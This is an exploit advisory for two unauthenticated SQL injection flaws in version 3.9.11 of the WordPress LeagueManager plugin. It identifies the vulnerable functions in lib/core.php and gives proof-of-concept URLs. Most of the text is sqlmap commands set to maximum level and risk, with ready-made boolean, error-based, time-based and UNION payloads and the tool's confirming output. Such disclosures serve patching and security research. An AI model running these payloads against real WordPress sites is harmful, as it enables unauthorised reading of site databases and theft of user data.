WordPress Plugin LeagueManager 3.9.11 - SQL Injection

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# Exploit Title: WordPress LeagueManager SQLi
# Version: 3.9.11
# Vendor: https://wordpress.org/plugins/leaguemanager
# Software Link:
https://downloads.wordpress.org/plugin/leaguemanager.3.9.1.1.zip
# Author: javabudd
# Date: 06/01/2015
# Tested on: Linux | Windows
###################################################################################################

Vulnerabilities (2)
==========================

(1) Unauthenticated SQLi [CWE-89]

CODE:
lib/core.php (785)
++++++++++++++++++++++++++
function getMatch() is passed an unsanitized $match_id parameter to the
SQL query
++++++++++++++++++++++++++

POC:
http://localhost/?match=1

SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://localhost/?match=1" --level 5 --risk 3
--dbms mysql
++++++++++++++++++++++++++
---
Parameter: match (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: match=1 AND 3991=3991

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
BY clause
Payload: match=1 AND (SELECT 8344 FROM(SELECT
COUNT(*),CONCAT(0x7178717671,(SELECT
(ELT(8344=8344,1))),0x717a707a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: match=1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCcI)

Type: UNION query
Title: Generic UNION query (NULL) - 20 columns
Payload: match=-9496 UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178717671,0x4945496f7a7062675158,0x717a707a71),NULL--
---
[02:18:52] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.20, Apache 2.4.10
back-end DBMS: MySQL 5.0

(2) Unauthenticated SQLi [CWE-89]

Code:
lib/core.php (486)
++++++++++++++++++++++++++
function getLeague() is passed an unsanitized $league_id parameter from
the constructor
++++++++++++++++++++++++++

POC:
http://localhost?season=1&league_id=1&match_day=1&team_id=1

SQLMAP
++++++++++++++++++++++++++
python sqlmap.py --url
"http://localhost?season=1&league_id=1&match_day=1&team_id=1" --dbms
mysql --level 5 --risk 3 -p league_id
++++++++++++++++++++++++++
---
Parameter: league_id (GET)
     Type: error-based
     Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (EXTRACTVALUE)
     Payload: season=1&league_id=1' AND
EXTRACTVALUE(4330,CONCAT(0x5c,0x7178717671,(SELECT
(ELT(4330=4330,1))),0x717a707a71)) AND 'SOeQ'='SOeQ&match_day=1&team_id=1

     Type: AND/OR time-based blind
     Title: MySQL <= 5.0.11 AND time-based blind (heavy query)
     Payload: season=1&league_id=1' AND
9638=BENCHMARK(5000000,MD5(0x54624c4e)) AND
'GmZI'='GmZI&match_day=1&team_id=1
---
[03:31:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.20, Apache 2.4.10
back-end DBMS: MySQL 5.1